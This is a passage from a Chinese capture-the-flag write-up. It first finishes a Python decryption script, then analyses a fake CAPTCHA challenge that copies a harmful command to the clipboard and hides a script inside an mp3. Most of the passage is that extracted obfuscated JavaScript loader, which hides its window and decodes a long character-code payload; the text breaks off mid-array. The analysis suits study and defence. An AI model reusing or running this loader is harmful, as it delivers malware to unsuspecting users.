106# 2. 逆转第二个循环 (位操作)
107# 加密是ROR (右循环移位), 所以我们用ROL (左循环移位) 来逆转。
108data_after_bit_ops_reversal = bytearray(decoded_data)
109for j in range(0, 48, 3):
110    # 逆转: v11[j] = ROR(v11[j], 5) => v11[j] = ROL(v11[j], 5)
111    data_after_bit_ops_reversal[j] = rol(data_after_bit_ops_reversal[j], 5)
112
113    # 逆转: v11[j+1] = ROR(v11[j+1], 1) => v11[j+1] = ROL(v11[j+1], 1)
114    data_after_bit_ops_reversal[j + 1] = rol(data_after_bit_ops_reversal[j + 1], 1)
115
116    # v11[j+2] 没有被修改, 所以我们什么都不做。
117
118print(f"[+] 逆转位旋转操作后的数据: {data_after_bit_ops_reversal.hex()}")
119
120# 3. 逆转第一个循环 (NEON逻辑)
121# 我们必须以相反的顺序迭代: 2, 1, 0。
122final_decrypted_data = bytearray(data_after_bit_ops_reversal)
123
124for i in range(2, -1, -1):
125    # 获取当前处理的16字节数据块
126    start = 16 * i
127    end = start + 16
128    encrypted_chunk = final_decrypted_data[start:end]
129
130    # 获取本次迭代对应的正确的表
131    current_table = get_table_for_iteration(i)
132
133    # 步骤 3.1: 逆转XOR操作
134    # encrypted_chunk = XOR(shuffled_plain, table) => shuffled_plain = XOR(encrypted_chunk, table)
135    shuffled_plain = [c ^ t for c, t in zip(encrypted_chunk, current_table)]
136
137    # 步骤 3.2: 逆转shuffle操作 (vqtbl1q_s8)
138    plain_chunk = unshuffle(shuffled_plain, current_table)
139
140    # 将解密后的数据块放回数据数组中
141    final_decrypted_data[start:end] = bytearray(plain_chunk)
142
143# --- 最终结果 ---
144try:
145    result_string = final_decrypted_data.decode('utf-8')
146    print("\n========================================")
147    print(f"✅ Flag/解密后的字符串: {result_string}")
148    print("========================================")
149except UnicodeDecodeError:
150    print("\n========================================")
151    print("[-] 无法将结果解码为UTF-8字符串。原始字节如下:")
152    print(f"解密后的字节: {final_decrypted_data.hex()}")
153    print("========================================")

1’M no7 A rO6oT

知识点省流

还算简单的恶意代码取证逆向

WP

首先题目提到了自行承担后果,所以铁定没什么好事

进靶机之后根据他的验证提示,发现这里莫名其妙复制了一串命令(如果真执行了就会关机tmd)

54db7f9a-c8b9-48a0-ad57-bb1d5144411d

拉出来分析,发现他访问了一个mp3文件,给他下下来,不用说都知道里面有恶意代码或者程序,但是直接010看尾巴看不出来,内容有一点多,所以我一点点翻,发现这里有个script,所以把他前后截断提取出来

6daccc6e-410e-4eb3-84ba-be240d20f30e

提取得到代码如下,这其实就js,

1<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,